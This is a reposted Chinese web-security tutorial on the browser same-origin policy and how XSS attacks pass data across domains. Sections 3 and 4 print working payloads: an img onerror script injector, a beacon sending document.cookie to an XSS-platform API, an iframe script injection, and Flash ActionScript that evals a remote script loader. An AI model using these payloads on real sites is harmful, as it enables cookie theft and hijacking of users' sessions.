网站地图    收藏   

主页 > 后端 > 网站安全 >

xss攻击浏览器同源策略与跨域访问 - 网站安全

来源:自学PHP网    时间:2015-04-17 10:16 作者: 阅读:

[导读] 1、同源策略同源策略是一种约定,它是浏览器最核心也是最基本的安全功能。浏览器的同源策略, 限制了来自不同源的document或脚本,对当前document读取或设置某些属性 。邪恶的分...

1、同源策略
 
 
同源策略是一种约定,它是浏览器最核心也是最基本的安全功能。 
浏览器的同源策略, 限制了来自不同源的”document”或脚本,对当前“document”读取或设置某些属性 。 
———————————————邪恶的分割线——————————————– 
对于影响到“源”的因素有:
 
host(域名或IP地址,如果是IP地址则看做一个根域名) 
子域名 
端口 
协议 
——————————————-邪恶的分割线————————— 
在浏览器中, 对于标签 <script>、<img>、<iframe>、<link> 等标签都可以跨域加载资源,而不受同源策略的限制。这些带有“src”属性的标签每次加载的时候,实际上是由浏览器发起一个get请求 。
 
不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器是限制了javascript的权限,使其不能够读写返回的内容。对于 XMLHttpRequest来说,它可以访问来自同源对象的内容。但是不能够访问跨域访问资源,所有在ajax开发中尤其需要注意这点在w3c委员会制 定了XMLHttpRequest跨域访问标准。他需要通过目标域返回的HTTP头授权是否允许跨域访问,因为HTTP头对于javascript来说一 般是无法控制的,所以认为这个方案是可行的。
 
对于浏览器来说:除了DOM、Cookie、XMLHttprequest会受到同源策略的限制外,浏览器加载的第三方插件也有各自的同源策略。例如:flash,java applet,silverlight,coogle gears等。
 
2、xss
 
笔者已经将上文重要的地方红色高亮显示出来,浏览器同源在保证安全的同时,对前端开发和攻击者会带来极大的不便,google一下javascript跨域会有很多解决方案,比如: http://rubel.iteye.com/blog/901182 。
 
对于普通的开发来说,基本上可以解决所有场景下面的跨域问题,都是需要目标和本地的文件都是可控的,这对于xss攻击中来说肯定是不行的。
 
3、xss中如何跨域传送数据
 
前文已经提到到 src标签加载资源时相当于一个get请求。 
比如一个经典的img标签的xss:
 
<img src=1 onerror="var b = document.createElement('script');b.src='//X';document.body.appendChild(b);"width="0"  height="0" >
还有就是xssing 平台中大量使用的代码:
 
img =newImage();
img.src="http://www.91ri.org/index.php?do=api&id={projectId}&cookie="+ escape(document.cookie) +"&location="+ escape(window.location.href) +"&top="+ escape(top.location.href) +"&address="+ escape(l);
img.width = 0;
img.height = 0;
uc定位 ( http://www.91ri.org/7331.html )中使用到的代码:
 
var c = document.createElement('iframe');c.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&r=mood/view&moodId=4439141839360554257&userId=1&msg=<script src=//www.xxx.com/2.js></script>';document.body.appendChild(c);
4、xss跨域攻击
 
跨越子域:xss攻击场景的跨域大多数是跨子域的。 
比如当前有a.av.com的xss,需要b.av.com的document并操作,对于大部分网站来说,子域名里面都会有一个proxy页面或者引入一个共同的javascript文件来设置 document.cookie=”.av.com”,以便于业务开发。 
也可以用flash 来跨域crossdomain.xml,需要根目录的flash xss domain可控。 
比如 http://www.xx.xx/crossdomain.xml 
比如我之前xss一站用的actionscript代码:
 
package  {

     import flash.display.MovieClip;
     import flash.external.ExternalInterface; 

public class xss extends MovieClip {
public function xss() {

var fun = "var x=document.createElement("SCRIPT");x.src="http://t.cn/xxx"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval", fun);
  }
}

}

 

当然,如果你的人品跟笔者一样差,以上方案均不可行,就只有悲催的fuzz b.av.com的xss了。
 
跨任意域:需要跨任意域肯定是关注浏览器层面的,比如ie是res协议跨域、特权区域和浏览器拓展等浏览器层面的xss,具体可见余弦的《web 前端黑客技术揭秘》 (232 页)和黑哥的 《去年我跨过的浏览器》(http://www.2cto.com/ebook/201308/41774.html)
 
其他:猥琐流之webkit神跨域: http://www.2cto.com/Article/201301/183805.html 
 
5、总结
 
最近很多人来问题uc定位中的原理,遂跟大家一起学习下xss攻击浏览器同源域跨域访问的问题,笔者能力有限,错漏之处,欢迎指正
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论